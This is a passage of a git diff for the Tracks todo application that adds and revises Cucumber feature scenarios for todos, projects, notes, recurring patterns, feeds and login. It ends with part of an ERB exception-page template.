2" should include "Todo 3" + When I expand the dependencies of "Todo 1" + Then I should see "Todo 2" within the dependencies of "Todo 1" + And I should see "Todo 3" within the dependencies of "Todo 1" + When I expand the dependencies of "Todo 2" + Then I should see "Todo 3" within the dependencies of "Todo 2" - @selenium, @wip + @selenium Scenario: Adding dependency with comma to todo # for #975 - Given I have a context called "@pc" - And I have a project "dependencies" that has the following todos - | description | context | - | test,1, 2,3 | @pc | - | test me | @pc | - When I visit the "dependencies" project - And I drag "test me" to "test,1, 2,3" - Then the dependencies of "test me" should include "test,1, 2,3" - When I edit the dependency of "test me" to '"test,1, 2,3" <"@pc"; "dependencies">,"test,1, 2,3" <"@pc"; "dependencies">' - Then there should not be an error \ No newline at end of file + Given I have a context called "@pc" + And I have a project "dependencies" that has the following todos + | description | context | + | test,1, 2,3 | @pc | + | test me | @pc | + When I visit the "dependencies" project + And I drag "test me" to "test,1, 2,3" + Then the successors of "test,1, 2,3" should include "test me" + When I edit the dependency of "test me" to "'test,1, 2,3' <'@pc'; 'dependencies'>,'test,1, 2,3' <'@pc'; 'dependencies'>" + Then there should not be an error + + Scenario: Deleting a predecessor will activate successors + Given this is a pending scenario + + @selenium + Scenario: I can edit a todo to add the todo as a dependency to another + Given I have a context called "@pc" + And I have a project "dependencies" that has the following todos + | description | context | + | test 1 | @pc | + | test 2 | @pc | + | test 3 | @pc | + When I visit the "dependencies" project + When I edit the dependency of "test 1" to "'test 2' <'@pc'; 'dependencies'>" + Then I should see "test 1" within the dependencies of "test 2" + And I should see "test 1" in the deferred container + When I edit the dependency of "test 1" to "'test 2' <'@pc'; 'dependencies'>, 'test 3' <'@pc'; 'dependencies'>" + Then I should see "test 1" within the dependencies of "test 2" + Then I should see "test 1" within the dependencies of "test 3" + When I edit the dependency of "test 1" to "'test 2' <'@pc'; 'dependencies'>" + And I edit the dependency of "test 2" to "'test 3' <'@pc'; 'dependencies'>" + Then I should see "test 1" within the dependencies of "test 3" + Then I should see "test 2" within the dependencies of "test 3" + + @selenium + Scenario: I can remove a dependency by editing the todo + Given I have a context called "@pc" + And I have a project "dependencies" that has the following todos + | description | context | + | test 1 | @pc | + | test 2 | @pc | + And "test 1" depends on "test 2" + When I visit the "dependencies" project + Then I should see "test 1" in the deferred container + When I edit the dependency of "test 1" to "" + Then I should not see "test 1" within the dependencies of "test 2" + And I should not see "test 1" in the deferred container + + Scenario: Deleting a predecessor will activate successors + Given this is a pending scenario + + Scenario: Deleting a successor will update predecessor + Given this is a pending scenario \ No newline at end of file diff --git a/features/edit_a_todo.feature b/features/edit_a_todo.feature new file mode 100644 index 00000000..96b657a4 --- /dev/null +++ b/features/edit_a_todo.feature @@ -0,0 +1,124 @@ +Feature: Edit a next action from every page + In order to manage a next action + As a Tracks user + I want to to be able to change the next action from every page + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And I have logged in as "testuser" with password "secret" + + Scenario: I can toggle the star of a todo + Given this is a pending scenario + + @selenium @wip + Scenario: I can delete a todo + Given I have a todo with description "delete me" in the context "@home" + When I go to the home page + Then I should see "delete me" + And I delete the todo + Then I should not see "delete me" + + Scenario: Removing the last todo in context will hide context # delete, edit + Given this is a pending scenario + + Scenario: Deleting the last todo in container will show empty message # only project, context, tag, not todo + Given this is a pending scenario + + @selenium @wip + Scenario Outline: I can mark an active todo complete and it will update empty messages + When I go to the + Then I should see "" + When I submit a new action with description "visible todo" to project "visible project" with tags "test" in the context "visible context" + Then I should see "visible todo" + And I should not see "" + When I mark the todo complete + Then I should not see "visible context" + And I should see "" + And I should see "visible todo" in the completed todos container + + Scenarios: + | page | empty message | + | tag page for "starred" | No actions found | + | home page | No actions found | + | context page for "visible context" | Currently there are no deferred or pending actions | + | project page for "visible project" | Currently there are no deferred or pending actions | + + @selenium @wip + Scenario Outline: I can mark a deferred todo complete and it will update empty messages + When I go to the # not for home page because it does not show deferred todos + Then I should see "" + When I submit a new deferred action with description "visible todo" to project "visible project" with tags "test" in the context "visible context" + Then I should see "visible todo" + And I should not see "" + When I mark the todo complete + Then I should not see "visible context" + And I should see "" + And I should see "visible todo" in the completed todos container + + Scenarios: + | page | empty message | + | tag page for "starred" | Currently there are no deferred or pending actions | + | context page for "visible context" | Currently there are no deferred or pending actions | + | project page for "visible project" | Currently there are no deferred or pending actions | + + @selenium @wip + Scenario: I can mark a deferred todo complete and it will update empty messages + Given this is a pending scenario + + @selenium @wip + Scenario Outline: I can mark a completed todo active and it will update empty messages + Given I have a completed todo with description "visible todo" to project "visible project" with tags "test" in the context "visible context" + When I go to the + Then I should see "" + And I should not see "visible context" + And I should see "" + When I mark the complete todo "visible todo" active + Then I should see "visible context" + And I should see "" + And I should see "visible todo" in context container for "visible context" + And I should not see "" + + Scenarios: + | page | empty message | + | tag page for "starred" | No actions found | + | home page | No actions found | + | context page for "visible context" | Currently there are no deferred or pending actions | + | project page for "visible project" | Currently there are no deferred or pending actions | + + Scenario: I can edit a todo to change its description # do for more pages, see #1094 + Given this is a pending scenario + + Scenario: I can edit a todo to move it to another context + Given this is a pending scenario + + Scenario: I can edit a todo to move it to another project + Given this is a pending scenario + + Scenario: I can edit a todo to move it to the tickler + Given this is a pending scenario + + Scenario: I can defer a todo + Given this is a pending scenario + + Scenario: I can make a project from a todo + Given this is a pending scenario + + Scenario: I can show the notes of a todo + Given this is a pending scenario + + Scenario: I can tag a todo + Given this is a pending scenario + + Scenario: Clicking a tag of a todo will go to that tag page + Given this is a pending scenario + + Scenario: I can edit the tags of a todo + Given this is a pending scenario + + Scenario: Editing the context of a todo to a new context will show new context + Given this is a pending scenario # for home and tickler and tag + + Scenario: Making an error when editing a todo will show error message + Given this is a pending scenario diff --git a/features/feedlist.feature b/features/feedlist.feature new file mode 100644 index 00000000..73966a7d --- /dev/null +++ b/features/feedlist.feature @@ -0,0 +1,48 @@ +Feature: Get all sorts of lists from Tracks + In order to get reports on todos managed by Tracks + As a Tracks user + I want to be be able to select a feed + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And I have logged in as "testuser" with password "secret" + And I have the following contexts: + | context | + | @pc | + | @home | + | @shops | + | @boss | + And I have the following projects: + | project_name | + | Test feedlist | + | Get release out | + + Scenario: I cannot see context scripts when I do not have a context + Given I have no contexts + When I go to the feeds page + Then I should see a message that you need a context to get feeds for contexts + + Scenario: I cannot see proejct scripts when I do not have a project + Given I have no projects + When I go to the feeds page + Then I should see a message that you need a project to get feeds for projects + + Scenario: I can see scripts when I have one or more contexts + When I go to the feeds page + Then I should see feeds for projects + And I should see "Test feedlist" as the selected project + And I should see feeds for contexts + And I should see "@pc" as the selected context + + @selenium + Scenario Outline: I can select the item for getting feeds for that item + When I go to the feeds page + And I select "" from "" + Then I should see feeds for "" in list of "" + + Examples: + | item | item-list | item-type | + | @boss | feed-contexts | context | + | Get release out | feed-projects | project | diff --git a/features/logging_in.feature b/features/logging_in.feature index 3c742423..f0b4d7cd 100644 --- a/features/logging_in.feature +++ b/features/logging_in.feature @@ -1,5 +1,4 @@ -Feature: Existing user logging in - +Feature: Existing user logging in In order to keep my things private As an existing user I want to log in with my username and password @@ -17,9 +16,9 @@ Feature: Existing user logging in And I should see "" Examples: - | user | password | there | message | - | admin | secret | redirected to the home page | Login successful | - | admin | wrong | on the login page | Login unsuccessful | + | user | password | there | message | + | admin | secret | redirected to the home page | Login successful | + | admin | wrong | on the login page | Login unsuccessful | Scenario Outline: Unauthorized users cannot access Tracks and need to log in first Given there exists a project called "top secret" for user "testuser" @@ -31,22 +30,30 @@ Feature: Existing user logging in And I should see "" Examples: - | page | next page | logout | - | home page | home page | Logout (Test User) | - | contexts page | contexts page | Logout (Test User) | - | projects page | projects page | Logout (Test User) | - | notes page | notes page | Logout (Test User) | - | repeating todos page | repeating todos page | Logout (Test User) | - | statistics page | statistics page | Logout (Test User) | - | manage users page | manage users page | 401 Unauthorized | - | integrations page | integrations page | Logout (Test User) | - | starred page | starred page | Logout (Test User) | - | tickler page | tickler page | Logout (Test User) | - | calendar page | calendar page | Logout (Test User) | - | feeds page | feeds page | Logout (Test User) | - | preference page | preference page | Logout (Test User) | - | export page | export page | Logout (Test User) | - | rest api docs page | rest api docs page | Logout (Test User) | - | search page | search page | Logout (Test User) | - | "top secret" project for user "testuser" | "top secret" project for user "testuser" | Logout (Test User) | - | context page for "@secret location" for user "testuser" | context page for "@secret location" for user "testuser" | Logout (Test User) | + | page | next page | logout | + | home page | home page | Logout (Test User) | + | contexts page | contexts page | Logout (Test User) | + | projects page | projects page | Logout (Test User) | + | notes page | notes page | Logout (Test User) | + | repeating todos page | repeating todos page | Logout (Test User) | + | statistics page | statistics page | Logout (Test User) | + | manage users page | manage users page | 401 Unauthorized | + | integrations page | integrations page | Logout (Test User) | + | starred page | starred page | Logout (Test User) | + | tickler page | tickler page | Logout (Test User) | + | calendar page | calendar page | Logout (Test User) | + | feeds page | feeds page | Logout (Test User) | + | preference page | preference page | Logout (Test User) | + | export page | export page | Logout (Test User) | + | rest api docs page | rest api docs page | Logout (Test User) | + | search page | search page | Logout (Test User) | + | "top secret" project for user "testuser" | "top secret" project for user "testuser" | Logout (Test User) | + | context page for "@secret location" for user "testuser" | context page for "@secret location" for user "testuser" | Logout (Test User) | + + @selenium + Scenario: When session expires, you should be logged out + When I go to the login page + And I submit the login form as user "testuser" with password "secret" + Then I should be on the login page + When my session expires + Then I should see "Session has timed out" \ No newline at end of file diff --git a/features/manage_project.feature b/features/manage_project.feature deleted file mode 100644 index 58307109..00000000 --- a/features/manage_project.feature +++ /dev/null @@ -1,55 +0,0 @@ -Feature: Manage a project - - In order to reach a goal by doing several related todos - As a Tracks user - I want to manage these todos in a project - - Background: - Given the following user record - | login | password | is_admin | - | testuser | secret | false | - And I have logged in as "testuser" with password "secret" - And there exists a project "manage me" for user "testuser" - - @selenium - Scenario: I can describe the project using markup - When I visit the "manage me" project - And I edit the project description to "_successfull outcome_: project is *done*" - Then I should see the italic text "successfull outcome" in the project description - And I should see the bold text "done" in the project description - - # Ticket #1043 - @selenium - Scenario: I can move a todo out of the current project - Given I have a project "foo" with 2 todos - When I visit the "foo" project - And I change the project_name field of "Todo 1" to "bar" - Then I should not see the todo "Todo 1" - And I should see the todo "Todo 2" - - # Ticket #1041 - @selenium - Scenario: I can change the name of the project using the Edit Project Settings form - Given I have a project "bananas" with 1 todos - When I visit the "bananas" project - And I edit the project name to "cherries" - Then the project title should be "cherries" - - # Ticket #1042 - @selenium - Scenario: I cannot change the name of a project in the project view to the name of another existing project - Given I have a project "test" with 1 todos - When I go to the projects page - Then the badge should show 2 # "manage me" and "test" - When I visit the "manage me" project - And I edit the project name to "test" - Then I should see "Name already exists" - - # Ticket #1042 - @selenium - Scenario: I cannot change the name of a project in the project list view to the name of another existing project - Given I have a project "test" with 1 todos - When I go to the projects page - Then the badge should show 2 # "manage me" and "test" - When I edit the project name of "manage me" to "test" - Then I should see "Name already exists" \ No newline at end of file diff --git a/features/manage_users.feature b/features/manage_users.feature index 6d716853..0ac0a435 100644 --- a/features/manage_users.feature +++ b/features/manage_users.feature @@ -1,5 +1,4 @@ Feature: Manage users - In order to be able to manage the users able to use Tracks As the administrator of this installed Tracks I want to add and delete accounts of users @@ -18,7 +17,7 @@ Feature: Manage users Scenario: Add new account When I go to the manage users page - And I follow "Signup new user" + And I follow "Sign up new user" Then I should be on the signup page When I submit the signup form with username "new.user", password "secret123" and confirm with "secret123" Then I should be on the manage users page diff --git a/features/notes_manage.feature b/features/notes_manage.feature index c0e07406..a94ac2ec 100644 --- a/features/notes_manage.feature +++ b/features/notes_manage.feature @@ -1,5 +1,4 @@ Feature: View, add, remove notes - In order to manage my notes As a Tracks user I want to view, add, and remove notes @@ -23,6 +22,12 @@ Feature: View, add, remove notes And I should see note "My Note A" on the notes page Then the badge should show 1 + Scenario: Link to note + Given I have a project "Pass Final Exam" with 1 note + When I visit the "Pass Final Exam" project + And I click the icon next to the note + Then I should see the note text + @selenium Scenario: Delete note from notes page Given I have a project "Pass Final Exam" with 2 notes @@ -32,8 +37,8 @@ Feature: View, add, remove notes And the badge should show 1 @selenium - Scenario: Link to note - Given I have a project "Pass Final Exam" with 1 note - When I visit the "Pass Final Exam" project - And I click the icon next to the note - Then I should see the note text + Scenario: Edit a note + Given I have a project "Pass Final Exam" with 2 notes + When I go to the notes page + And I edit the first note to "edited note" + Then I should see "edited note" diff --git a/features/preferences.feature b/features/preferences.feature new file mode 100644 index 00000000..63e57b11 --- /dev/null +++ b/features/preferences.feature @@ -0,0 +1,19 @@ +Feature: Manage preferences + In order to customize Tracks to my needs + As a Tracks user + I want to be be able change my preferences + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And I have logged in as "testuser" with password "secret" + + Scenario: I can change my password + Given this is a pending scenario + + Scenario: I can generate a new token + Given this is a pending scenario + + Scenario: I can edit preferences + Given this is a pending scenario diff --git a/features/project_edit.feature b/features/project_edit.feature new file mode 100644 index 00000000..86696224 --- /dev/null +++ b/features/project_edit.feature @@ -0,0 +1,107 @@ +Feature: Edit a project + In order to reach a goal by doing several related todos + As a Tracks user + I want to manage these todos in a project + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And there exists a project "manage me" for user "testuser" + And I have logged in as "testuser" with password "secret" + + Scenario: I can go to the note of a project + Given I have a project "test" with 2 notes + When I visit the "test" project + When I click on the first note icon + Then I should go to that note page + + @selenium + Scenario: I can describe the project using markup + When I visit the "manage me" project + And I edit the project description to "_successfull outcome_: project is *done*" + Then I should see the italic text "successfull outcome" in the project description + And I should see the bold text "done" in the project description + + @selenium + Scenario: I can edit the project name in place + Given I have a project "release tracks 1.8" with 1 todos + When I visit the project page for "release tracks 1.8" + And I edit the project name in place to be "release tracks 2.0" + Then I should see the project name is "release tracks 2.0" + When I go to the projects page + Then I should see that a project named "release tracks 1.8" is not present + And I should see that a project named "release tracks 2.0" is present + + # Ticket #1041 + @selenium + Scenario: I can change the name of the project using the Edit Project Settings form + Given I have a project "bananas" with 1 todos + When I visit the "bananas" project + And I edit the project name to "cherries" + Then the project title should be "cherries" + + # Ticket #1042 + @selenium + Scenario: I cannot change the name of a project in the project view to the name of another existing project + Given I have a project "test" with 1 todos + When I go to the projects page + Then the badge should show 2 # "manage me" and "test" + When I visit the "manage me" project + And I try to edit the project name to "test" + Then I should see "Name already exists" + + # Ticket #1042 + @selenium + Scenario: I cannot change the name of a project in the project list view to the name of another existing project + Given I have a project "test" with 1 todos + When I go to the projects page + Then the badge should show 2 # "manage me" and "test" + When I try to edit the project name of "manage me" to "test" + Then I should see "Name already exists" + + @selenium + Scenario: I can add a note to the project + Given I have a project called "test" + When I visit the "test" project + And I add a note "hello I'm testing" to the project + Then I should see one note in the project + + @selenium + Scenario: Cancelling adding a note to the project will remove form + Given I have a project called "test" + When I visit the "test" project + And I cancel adding a note to the project + Then the form for adding a note should not be visible + + @selenium + Scenario: Long notes in a project are shown cut off + Given I have a project called "test" + When I visit the "test" project + And I add a note "123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890TOO LONG" to the project + Then I should not see "123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890TOO LONG" + And I should see "12345678901234567890123456789012345678901234567890123456789012345678901234567890123456" + + Scenario: Cancelling editing a project will restore project settings + Given this is a pending scenario + + Scenario: Editing the description of a todo will update todo + Given this is a pending scenario + + Scenario: Moving the todo to the tickler will move todo to tickler container + Given this is a pending scenario + + Scenario: Moving the todo out of the tickler will move todo to active container + Given this is a pending scenario + + Scenario: Making all todos inactive will show empty message + Given this is a pending scenario # empty message is in separate container + + # Ticket #1043 + @selenium @wip + Scenario: I can move a todo out of the current project + Given I have a project "foo" with 2 todos + When I visit the "foo" project + And I change the project_name field of "Todo 1" to "bar" + Then I should not see the todo "Todo 1" + And I should see the todo "Todo 2" diff --git a/features/project_list.feature b/features/project_list.feature new file mode 100644 index 00000000..e682797b --- /dev/null +++ b/features/project_list.feature @@ -0,0 +1,114 @@ +Feature: Manage the list of projects + In order to keep track and manage of all my projects + As a Tracks user + I want to manage my list of projects + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And there exists a project "manage me" for user "testuser" + And there exists a project "upgrade jquery" for user "testuser" + And there exists a project "a project name starting with a" for user "testuser" + And I have logged in as "testuser" with password "secret" + + Scenario: The list of project contain all projects + When I go to the projects page + Then I should see "manage me" + And I should see "upgrade jquery" + And the badge should show 3 + + Scenario: Clicking on a project takes me to the project page + When I go to the projects page + And I follow "manage me" + Then I should be on the "manage me" project page + + @selenium + Scenario: Editing a project name will update the list + When I go to the projects page + And I edit the project name of "manage me" to "manage him" + Then I should see "manage him" + + @selenium + Scenario: Deleting a project will remove it from the list + When I go to the projects page + And I delete project "manage me" + Then I should not see "manage me" + And the badge should show 2 + And the project list badge for "active" projects should show 2 + + @selenium + Scenario: Deleting a project after a edit will remove it from the list + # make sure the js is enabled after an edit and another edit + When I go to the projects page + And I edit the project name of "manage me" to "manage him" + Then I should see "manage him" + When I edit the project name of "manage him" to "manage her" + Then I should see "manage her" + When I delete project "manage her" + Then I should not see "manage her" + And the badge should show 2 + And the project list badge for "active" projects should show 2 + + @selenium + Scenario: Changing project state will move project to other state list + When I go to the projects page + Then the project "manage me" should be in state list "active" + And the project list badge for "active" projects should show 3 + When I edit the project state of "manage me" to "hidden" + Then the project "manage me" should not be in state list "active" + And the project "manage me" should be in state list "hidden" + And the project list badge for "active" projects should show 2 + And the project list badge for "hidden" projects should show 1 + + @selenium + Scenario: Dragging a project to change list order of projects + When I go to the projects page + Then the project "manage me" should be above the project "upgrade jquery" + When I drag the project "manage me" below "upgrade jquery" + Then the project "upgrade jquery" should be above the project "manage me" + + @selenium + Scenario: Hiding and unhiding the new project form + When I go to the projects page + Then the new project form should be visible + When I follow "Hide form" + Then the new project form should not be visible + When I follow "Create a new project" + Then the new project form should be visible + + @selenium + Scenario: Adding a new project + When I go to the projects page + And I submit a new project with name "finish cucumber tests" + Then I should see "finish cucumber tests" + And the badge should show 4 + And the project list badge for "active" projects should show 4 + + @selenium + Scenario: Adding a new project and take me to the project page + When I go to the projects page + And I submit a new project with name "finish cucumber tests" and select take me to the project + Then I should be on the "finish cucumber tests" project page + + @selenium + Scenario: Sorting the project alphabetically + When I go to the projects page + Then the project "manage me" should be above the project "a project name starting with a" + When I sort the active list alphabetically + Then the project "a project name starting with a" should be above the project "manage me" + + @selenium + Scenario: Sorting the project by number of task + Given I have a project "test" with 2 todos + And I have a project "very busy" with 10 todos + When I go to the projects page + Then the project "test" should be above the project "very busy" + When I sort the list by number of tasks + Then the project "very busy" should be above the project "test" + + @selenium + Scenario: Cannot add a project with comma in the name + When I go to the projects page + And I submit a new project with name "foo,bar" + Then I should see "Name cannot contain the comma" diff --git a/features/recurring_todos.feature b/features/recurring_todos.feature index 98d54c82..2792bec8 100644 --- a/features/recurring_todos.feature +++ b/features/recurring_todos.feature @@ -1,5 +1,4 @@ Feature: Manage recurring todos - In order to manage repeating todos As a Tracks user I want to view, edit, add, or remove recurrence patterns of repeating todos @@ -9,6 +8,8 @@ Feature: Manage recurring todos | login | password | is_admin | | testuser | secret | false | And I have logged in as "testuser" with password "secret" + And I have a context called "test context" + And I have a repeat pattern called "run tests" @selenium Scenario: Being able to select daily, weekly, monthly and yearly pattern @@ -22,4 +23,50 @@ Feature: Manage recurring todos When I select "Yearly" recurrence pattern Then I should see the form for "Yearly" recurrence pattern When I select "Daily" recurrence pattern - Then I should see the form for "Daily" recurrence pattern \ No newline at end of file + Then I should see the form for "Daily" recurrence pattern + + @selenium + Scenario: I can mark a repeat pattern as starred + When I go to the repeating todos page + And I star the pattern "run tests" + Then the pattern "run tests" should be starred + + @selenium + Scenario: I can edit a repeat pattern + When I go to the repeating todos page + And I edit the name of the pattern "run tests" to "report test results" + Then the pattern "report test results" should be in the state list "active" + And I should not see "run tests" + + @selenium + Scenario: I can delete a repeat pattern + When I go to the repeating todos page + And I delete the pattern "run tests" + And I should not see "run tests" + + @selenium + Scenario: I can mark a repeat pattern as done + When I go to the repeating todos page + Then the pattern "run tests" should be in the state list "active" + And the state list "completed" should be empty + When I mark the pattern "run tests" as complete + Then the pattern "run tests" should be in the state list "completed" + And the state list "active" should be empty + + @selenium + Scenario: I can reactivate a repeat pattern + Given I have a completed repeat pattern "I'm done" + When I go to the repeating todos page + Then the pattern "I'm done" should be in the state list "completed" + When I mark the pattern "I'm done" as active + Then the pattern "I'm done" should be in the state list "active" + And the state list "completed" should be empty + + Scenario: Following the recurring todo link of a todo takes me to the recurring todos page + Given this is a pending scenario + + Scenario: Deleting a recurring todo with ending pattern will show message + Given this is a pending scenario + + Scenario: Deleting a recurring todo with active pattern will show new todo + Given this is a pending scenario diff --git a/features/shared_add_new_todo.feature b/features/shared_add_new_todo.feature index ad67f6ca..99caa94d 100644 --- a/features/shared_add_new_todo.feature +++ b/features/shared_add_new_todo.feature @@ -1,5 +1,4 @@ Feature: Add new next action from every page - In order to quickly add a new next action As a Tracks user I want to to be able to add one or more new next actions from every page @@ -16,16 +15,16 @@ Feature: Add new next action from every page Scenario Outline: I can hide the input form for single next action on a page When I the Then the single action form should be visible - When I follow "« Hide form" + When I follow "Hide form" Then the single action form should not be visible - Scenarios: - | action | page | - | go to | home page | - | go to | tickler page | - | visit | project page for "test project"| - | visit | context page for "test context"| - | visit | tag page for "starred" | + Scenarios: + | action | page | + | go to | home page | + | go to | tickler page | + | visit | project page for "test project" | + | visit | context page for "test context" | + | go to | tag page for "starred" | @selenium Scenario Outline: I can hide the input form for multiple next actions @@ -33,37 +32,37 @@ Feature: Add new next action from every page Then the single action form should be visible When I follow "Add multiple next actions" Then the multiple action form should be visible - When I follow "« Hide form" + When I follow "Hide form" Then the single action form should not be visible And the multiple action form should not be visible - Scenarios: - | action | page | - | go to | home page | - | go to | tickler page | - | visit | project page for "test project"| - | visit | context page for "test context"| - | visit | tag page for "starred" | + Scenarios: + | action | page | + | go to | home page | + | go to | tickler page | + | visit | project page for "test project" | + | visit | context page for "test context" | + | go to | tag page for "starred" | @selenium Scenario Outline: I can hide the input form and then choose both input forms When I the Then the single action form should be visible - When I follow "« Hide form" + When I follow "Hide form" Then the single action form should not be visible When I follow "Add multiple next actions" Then the multiple action form should be visible - When I follow "« Hide form" + When I follow "Hide form" Then the single action form should not be visible And the multiple action form should not be visible - Scenarios: - | action | page | - | go to | home page | - | go to | tickler page | - | visit | project page for "test project"| - | visit | context page for "test context"| - | visit | tag page for "starred" | + Scenarios: + | action | page | + | go to | home page | + | go to | tickler page | + | visit | project page for "test project" | + | visit | context page for "test context" | + | go to | tag page for "starred" | @selenium Scenario Outline: I can switch forms for single next action to multiple next actions @@ -72,53 +71,151 @@ Feature: Add new next action from every page When I follow "Add multiple next actions" Then the single action form should not be visible And the multiple action form should be visible - When I follow "Add single next action" + When I follow "Add a next action" Then the single action form should be visible And the multiple action form should not be visible - Scenarios: - | action | page | - | go to | home page | - | go to | tickler page | - | visit | project page for "test project"| - | visit | context page for "test context"| - | visit | tag page for "starred" | + Scenarios: + | action | page | + | go to | home page | + | go to | tickler page | + | visit | project page for "test project" | + | visit | context page for "test context" | + | go to | tag page for "starred" | @selenium - Scenario Outline: I can add a todo from several pages - When I the - And I submit a new action with description "a new next action" - Then I should "a new next action" + Scenario Outline: I can add a todo from several pages + When I the + And I submit a new action with description "a new next action" + Then I should "a new next action" - Scenarios: - | action | page | see | - | go to | home page | see | - | go to | tickler page | not see| - | visit | project page for "test project"| see | - | visit | context page for "test context"| see | - | visit | tag page for "starred" | not see| + Scenarios: + | action | page | see | + | go to | home page | see | + | go to | tickler page | not see | + | visit | project page for "test project" | see | + | visit | context page for "test context" | see | + | go to | tag page for "starred" | not see | @selenium Scenario Outline: I can add multiple todos from several pages - When I the - And I follow "Add multiple next actions" - And I submit multiple actions with using - """ - one new next action - another new next action - """ - Then I should "one new next action" - And I should "another new next action" - And the badge should show - And the number of actions should be + When I the + And I follow "Add multiple next actions" + And I submit multiple actions with using + """ + one new next action + another new next action + """ + Then I should "one new next action" + And I should "another new next action" + And the badge should show + And the number of actions should be - Scenarios: - | action | page | see | badge | count | - | go to | home page | see | 3 | 3 | - | go to | tickler page | not see| 0 | 3 | - | visit | project page for "test project"| see | 3 | 3 | - | visit | context page for "test context"| see | 2 | 3 | - | visit | tag page for "starred" | not see| 0 | 3 | + Scenarios: + | action | page | see | badge | count | + | go to | home page | see | 3 | 3 | + | go to | tickler page | not see | 0 | 3 | + | visit | project page for "test project" | see | 3 | 3 | + | visit | context page for "test context" | see | 2 | 3 | + | go to | tag page for "starred" | not see | 0 | 3 | + + Scenario: Adding a todo to another project does not show the todo + Given this is a pending scenario + + Scenario: Adding a todo to a hidden project does not show the todo + Given this is a pending scenario + + @selenium + Scenario Outline: Adding a todo with a new context shows the new context + When I the + And I submit a new with description "do at new context" and the tags "starred" in the context "New" + Then a confirmation for adding a new context "New" should be asked + And the container for the context "New" should + And the badge should show + + Scenarios: + | action | page | todo | badge | visible | + | go to | home page | action | 2 | be visible | + | go to | tickler page | deferred action | 1 | be visible | + | visit | project page for "test project" | action | 2 | not be visible | + | visit | context page for "test context" | action | 1 | not be visible | + | go to | tag page for "starred" | action | 1 | be visible | + + @selenium + Scenario Outline: Adding a todo to a hidden project does not show the todo + Given I have a hidden project called "hidden project" + And I have a project called "visible project" + And I have a context called "visible context" + And I have a context called "other context" + When I go to the + And I submit a new action with description "hidden todo" to project "hidden project" with tags "test" in the context "visible context" + Then I should "hidden todo" + When I submit a new action with description "visible todo" to project "visible project" with tags "test" in the context "visible context" + Then I should "visible todo" + + Scenarios: + | page | see_hidden | see_visible | + | home page | not see | see | + | tickler page | not see | not see | + | "visible project" project | not see | see | + | "hidden project" project | see | not see | + | context page for "visible context" | not see | see | + | context page for "other context" | not see | not see | + | tag page for "starred" | not see | not see | + | tag page for "test" | see | see | + + @selenium + Scenario: Adding a todo to a hidden context from home page does not show the todo + Given I have a context called "visible context" + And I have a hidden context called "hidden context" + When I go to the home page + And I submit a new action with description "a new todo" in the context "visible context" + Then I should see "a new todo" + When I submit a new action with description "another new todo" in the context "hidden context" + Then I should not see "another new todo" + + @selenium + Scenario: Adding a todo to a context show the todo in that context page + Given I have a context called "visible context" + And I have a hidden context called "hidden context" + When I go to the context page for "visible context" + And I submit a new action with description "a new todo" in the context "visible context" + Then I should see "a new todo" + When I go to the context page for "hidden context" + And I submit a new action with description "another new todo" in the context "hidden context" + Then I should see "another new todo" + + @selenium + Scenario: Adding a todo to an empty container hides the empty message # TODO: make outline + And I have a context called "visible context" + When I go to the tag page for "test" + Then I should see "Currently there are no incomplete actions with the tag 'test'" + When I submit a new action with description "a new todo" and the tags "test" in the context "visible context" + Then I should see "a new todo" + And I should not see "Currently there are no incomplete actions with the tag 'bla'" + + Scenario: Adding a dependency to a todo updated the successor + Given this is a pending scenario + + @selenium + Scenario: I can add multiple todos in a new project and a new context + When I go to the home page + And I follow "Add multiple next actions" + And I fill the multiple actions form with "", "a next project", "@anywhere", "new tag" + And I submit the new multiple actions form with + """ + + a + b + c + + + """ + Then a confirmation for adding a new context "@anywhere" should be asked + Then I should see "@anywhere" + And I should see "a" + And I should see "b" + And I should see "c" @selenium Scenario: I need to fill in at least one description and a context @@ -130,8 +227,8 @@ Feature: Add new next action from every page Then I should see "Context can't be blank" When I fill the multiple actions form with "", "a project", "test context", "tag" And I submit the new multiple actions form with - """ + """ - - """ + + """ Then I should see "You need to submit at least one next action" diff --git a/features/show_integration_options.feature b/features/show_integration_options.feature index c77b5562..02ad6505 100644 --- a/features/show_integration_options.feature +++ b/features/show_integration_options.feature @@ -1,5 +1,4 @@ Feature: Integrate Tracks in various ways - In order to use tracks with other software As a Tracks user I want to be informed about the various ways to integrate tracks @@ -9,6 +8,12 @@ Feature: Integrate Tracks in various ways | login | password | is_admin | | testuser | secret | false | And I have logged in as "testuser" with password "secret" + And I have the following contexts: + | context | + | @pc | + | @home | + | @shops | + | @boss | Scenario: I cannot see scripts when I do not have a context Given I have no contexts @@ -16,23 +21,24 @@ Feature: Integrate Tracks in various ways Then I should see a message that you need a context to see scripts Scenario: I can see scripts when I have one or more contexts - Given I have a context called "@pc" When I go to the integrations page Then I should see scripts @selenium - Scenario: When I select a different context the example scripts should change accoordingly - Given I have the following contexts: - | context | - | @pc | - | @home | - | @shops | - | @boss | + Scenario: The scripts on the page should be prefilled with the first context When I go to the integrations page Then I should see a script "applescript1" for "@pc" - When I select "@home" from "applescript1-contexts" - Then I should see a script "applescript1" for "@home" - When I select "@shops" from "applescript2-contexts" - Then I should see a script "applescript2" for "@shops" - When I select "@boss" from "quicksilver-contexts" - Then I should see a script "quicksilver" for "@boss" + + @selenium + Scenario Outline: When I select a different context the example scripts should change accordingly + When I go to the integrations page + When I select "" from "" + Then I should see a script " - - - -
    -

    <%=h exception.class %> at <%=h path %>

    -

    <%=h exception.message %>

    - - - - - - -
    Ruby<%=h frames.first.filename %>: in <%=h frames.first.function %>, line <%=h frames.first.lineno %>
    Web<%=h req.request_method %> <%=h(req.host + path)%>
    - -

    Jump to:

    - -
    - -
    -

    Traceback (innermost first)

    -
      -<% frames.each { |frame| %> -
    • - <%=h frame.filename %>: in <%=h frame.function %> - - <% if frame.context_line %> -
      - <% if frame.pre_context %> -
        - <% frame.pre_context.each { |line| %> -
      1. <%=h line %>
      2. - <% } %> -
      - <% end %> - -
        -
      1. <%=h frame.context_line %>...
      - - <% if frame.post_context %> -
        - <% frame.post_context.each { |line| %> -
      1. <%=h line %>
      2. - <% } %> -
      - <% end %> -
      - <% end %> -
    • -<% } %> -
    -
    - -
    -

    Request information

    - -

    GET

